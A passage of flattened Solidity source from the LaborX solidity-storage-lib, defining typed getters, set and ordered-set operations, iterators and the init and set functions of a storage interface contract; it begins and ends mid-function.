_key2, bytes32 _key3) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bool) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, UIntBoolMapping storage item, uint _key) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntEnumMapping storage item, uint _key) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntUIntMapping storage item, uint _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntAddressMapping storage item, uint _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, Bytes32UIntMapping storage item, bytes32 _key) internal view returns (uint) { return uint(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32AddressMapping storage item, bytes32 _key) internal view returns (address) { return address(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key) internal view returns (uint8) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32BoolMapping storage item, bytes32 _key) internal view returns (bool) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key) internal view returns (bytes32) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2) internal view returns (bool) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, UIntBytes32Mapping storage item, uint _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, AddressUIntMapping storage item, address _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBoolMapping storage item, address _key) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressAddressMapping storage item, address _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBytes32Mapping storage item, address _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2) internal view returns (uint) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), _key2); } function get(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4))); } function get(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5))); } function get(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)))); } function get(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)))); } function get(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)))); } /** `includes` operation */ function includes(Config storage self, Set storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, SET_IDENTIFIER, _value); } function includes(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) internal view returns (bool) { return get(self, item.indexes, _salt, _value) != 0; } function includes(Config storage self, AddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, CounterSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, ORDERED_SET_IDENTIFIER, _value); } function includes(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bool) { return _value != 0x0 && (get(self, item.nextValues, _salt, _value) != 0x0 || get(self, item.last, _salt) == _value); } function includes(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, Set storage item, bytes32 _value) internal view returns (uint) { return getIndex(self, item, SET_IDENTIFIER, _value); } function getIndex(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private view returns (uint) { return uint(get(self, item.indexes, _salt, _value)); } function getIndex(Config storage self, AddressesSet storage item, address _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, CounterSet storage item, uint _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, _value); } function getIndex(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } /** `count` operation */ function count(Config storage self, Set storage item) internal view returns (uint) { return count(self, item, SET_IDENTIFIER); } function count(Config storage self, Set storage item, bytes32 _salt) internal view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, AddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, CounterSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedSet storage item) internal view returns (uint) { return count(self, item, ORDERED_SET_IDENTIFIER); } function count(Config storage self, OrderedSet storage item, bytes32 _salt) private view returns (uint) { return get(self, item.count, _salt); } function count(Config storage self, OrderedUIntSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, OrderedAddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function get(Config storage self, Set storage item) internal view returns (bytes32[] result) { result = get(self, item, SET_IDENTIFIER); } function get(Config storage self, Set storage item, bytes32 _salt) private view returns (bytes32[] result) { uint valuesCount = count(self, item, _salt); result = new bytes32[](valuesCount); for (uint i = 0; i < valuesCount; i++) { result[i] = get(self, item, _salt, i); } } function get(Config storage self, AddressesSet storage item) internal view returns (address[]) { return toAddresses(get(self, item.innerSet)); } function get(Config storage self, CounterSet storage item) internal view returns (uint[]) { return toUInt(get(self, item.innerSet)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key) internal view returns (bytes32[]) { return get(self, item.innerMapping, _key); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key) internal view returns (address[]) { return toAddresses(get(self, item.innerMapping, _key)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key) internal view returns (uint[]) { return toUInt(get(self, item.innerMapping, _key)); } function get(Config storage self, Set storage item, uint _index) internal view returns (bytes32) { return get(self, item, SET_IDENTIFIER, _index); } function get(Config storage self, Set storage item, bytes32 _salt, uint _index) private view returns (bytes32) { return get(self, item.values, _salt, bytes32(_index+1)); } function get(Config storage self, AddressesSet storage item, uint _index) internal view returns (address) { return address(get(self, item.innerSet, _index)); } function get(Config storage self, CounterSet storage item, uint _index) internal view returns (uint) { return uint(get(self, item.innerSet, _index)); } function get(Config storage self, Bytes32SetMapping storage item, bytes32 _key, uint _index) internal view returns (bytes32) { return get(self, item.innerMapping, _key, _index); } function get(Config storage self, AddressesSetMapping storage item, bytes32 _key, uint _index) internal view returns (address) { return address(get(self, item.innerMapping, _key, _index)); } function get(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _index) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, _index)); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getNextValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getNextValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.nextValues, _salt, _value); } function getNextValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getNextValue(self, item.innerSet, bytes32(_value))); } function getNextValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getNextValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getPreviousValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getPreviousValue(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.previousValues, _salt, _value); } function getPreviousValue(Config storage self, OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getPreviousValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(Config storage self, OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getPreviousValue(self, item.innerSet, bytes32(_value))); } function toBool(bytes32 self) internal pure returns (bool) { return self != bytes32(0); } function toBytes32(bool self) internal pure returns (bytes32) { return bytes32(self ? 1 : 0); } function toAddresses(bytes32[] memory self) internal pure returns (address[]) { address[] memory result = new address[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = address(self[i]); } return result; } function toUInt(bytes32[] memory self) internal pure returns (uint[]) { uint[] memory result = new uint[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = uint(self[i]); } return result; } function _setOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from, bytes32 to) private { if (from != 0x0) { set(self, link, _salt, from, to); } } function _deleteOrderedSetLink(Config storage self, Mapping storage link, bytes32 _salt, bytes32 from) private { if (from != 0x0) { set(self, link, _salt, from, 0x0); } } /** @title Structure to incapsulate and organize iteration through different kinds of collections */ struct Iterator { uint limit; uint valuesLeft; bytes32 currentValue; bytes32 anchorKey; } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, bytes32 startValue, uint limit) internal view returns (Iterator) { if (startValue == 0x0) { return listIterator(self, item, anchorKey, limit); } return createIterator(anchorKey, startValue, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey, address startValue, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(Config storage self, OrderedSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER, limit); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return createIterator(anchorKey, get(self, item.first, anchorKey), limit); } function listIterator(Config storage self, OrderedUIntSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit) internal view returns (Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(Config storage self, OrderedAddressesSet storage item, uint limit, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(Config storage self, OrderedSet storage item) internal view returns (Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER); } function listIterator(Config storage self, OrderedSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item, anchorKey, get(self, item.count, anchorKey)); } function listIterator(Config storage self, OrderedUIntSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedUIntSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, OrderedAddressesSet storage item) internal view returns (Iterator) { return listIterator(self, item.innerSet); } function listIterator(Config storage self, OrderedAddressesSet storage item, bytes32 anchorKey) internal view returns (Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (Iterator) { return listIterator(self, item.innerMapping, _key); } function createIterator(bytes32 anchorKey, bytes32 startValue, uint limit) internal pure returns (Iterator) { return Iterator({ currentValue: startValue, limit: limit, valuesLeft: limit, anchorKey: anchorKey }); } function getNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { if (!canGetNextWithIterator(self, item, iterator)) { revert(); } _nextValue = iterator.currentValue; iterator.currentValue = getNextValue(self, item, iterator.anchorKey, iterator.currentValue); iterator.valuesLeft -= 1; } function getNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bytes32 _nextValue) { return getNextWithIterator(self, item.innerMapping, iterator); } function getNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerMapping, iterator)); } function getNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerMapping, iterator)); } function canGetNextWithIterator(Config storage self, OrderedSet storage item, Iterator iterator) internal view returns (bool) { if (iterator.valuesLeft == 0 || !includes(self, item, iterator.anchorKey, iterator.currentValue)) { return false; } return true; } function canGetNextWithIterator(Config storage self, OrderedUIntSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, OrderedAddressesSet storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(Config storage self, Bytes32OrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, UIntOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(Config storage self, AddressOrderedSetMapping storage item, Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function count(Iterator iterator) internal pure returns (uint) { return iterator.valuesLeft; } } // File: @laborx/solidity-storage-lib/contracts/StorageContractAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageContractAdapter { StorageInterface.Config internal store; constructor(Storage _store, bytes32 _crate) public { StorageInterface.init(store, _store, _crate); } } // File: @laborx/solidity-storage-lib/contracts/StorageInterfaceContract.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageInterfaceContract is StorageContractAdapter, Storage { bytes32 constant SET_IDENTIFIER = "set"; bytes32 constant ORDERED_SET_IDENTIFIER = "ordered_set"; // Can't use modifier due to a Solidity bug. function sanityCheck(bytes32 _currentId, bytes32 _newId) internal pure { if (_currentId != 0 || _newId == 0) { revert("STORAGE_INTERFACE_CONTRACT_SANITY_CHECK_FAILED"); } } function init(StorageInterface.Config storage self, bytes32 _crate) internal { self.crate = _crate; } function init(StorageInterface.UInt8 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.UInt storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Int storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Address storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Bool storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Bytes32 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.String storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.StringMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(StorageInterface.UIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntEnumMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntAddressAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntUIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUInt8Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StorageInterface.AddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes4BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressBytes4Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressUIntUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32AddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Set storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "count"))); init(self.indexes, keccak256(abi.encodePacked(_id, "indexes"))); init(self.values, keccak256(abi.encodePacked(_id, "values"))); } function init(StorageInterface.AddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.CounterSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.OrderedSet storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "uint/count"))); init(self.first, keccak256(abi.encodePacked(_id, "uint/first"))); init(self.last, keccak256(abi.encodePacked(_id, "uint/last"))); init(self.nextValues, keccak256(abi.encodePacked(_id, "uint/next"))); init(self.previousValues, keccak256(abi.encodePacked(_id, "uint/prev"))); } function init(StorageInterface.OrderedUIntSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.OrderedAddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(StorageInterface.Bytes32SetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressesSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.Bytes32OrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.UIntOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(StorageInterface.AddressOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } /** `set` operation */ function set(StorageInterface.Config storage self, StorageInterface.UInt storage item, uint _value) internal { _setUInt(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.UInt storage item, bytes32 _salt, uint _value) internal { _setUInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.UInt8 storage item, uint8 _value) internal { _setUInt8(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.UInt8 storage item, bytes32 _salt, uint8 _value) internal { _setUInt8(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Int storage item, int _value) internal { _setInt(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Int storage item, bytes32 _salt, int _value) internal { _setInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Address storage item, address _value) internal { _setAddress(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Address storage item, bytes32 _salt, address _value) internal { _setAddress(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bool storage item, bool _value) internal { _setBool(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 _salt, bool _value) internal { _setBool(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item, bytes32 _value) internal { _setBytes32(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.Bytes32 storage item, bytes32 _salt, bytes32 _value) internal { _setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.String storage item, string _value) internal { _setString(self.crate, item.id, _value); } function set(StorageInterface.Config storage self, StorageInterface.String storage item, bytes32 _salt, string _value) internal { _setString(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(StorageInterface.Config storage self, StorageInterface.Mapping storage item, uint _key, uint _value) internal { _setUInt(self.crate, keccak256(abi.encodePacked(item.id, 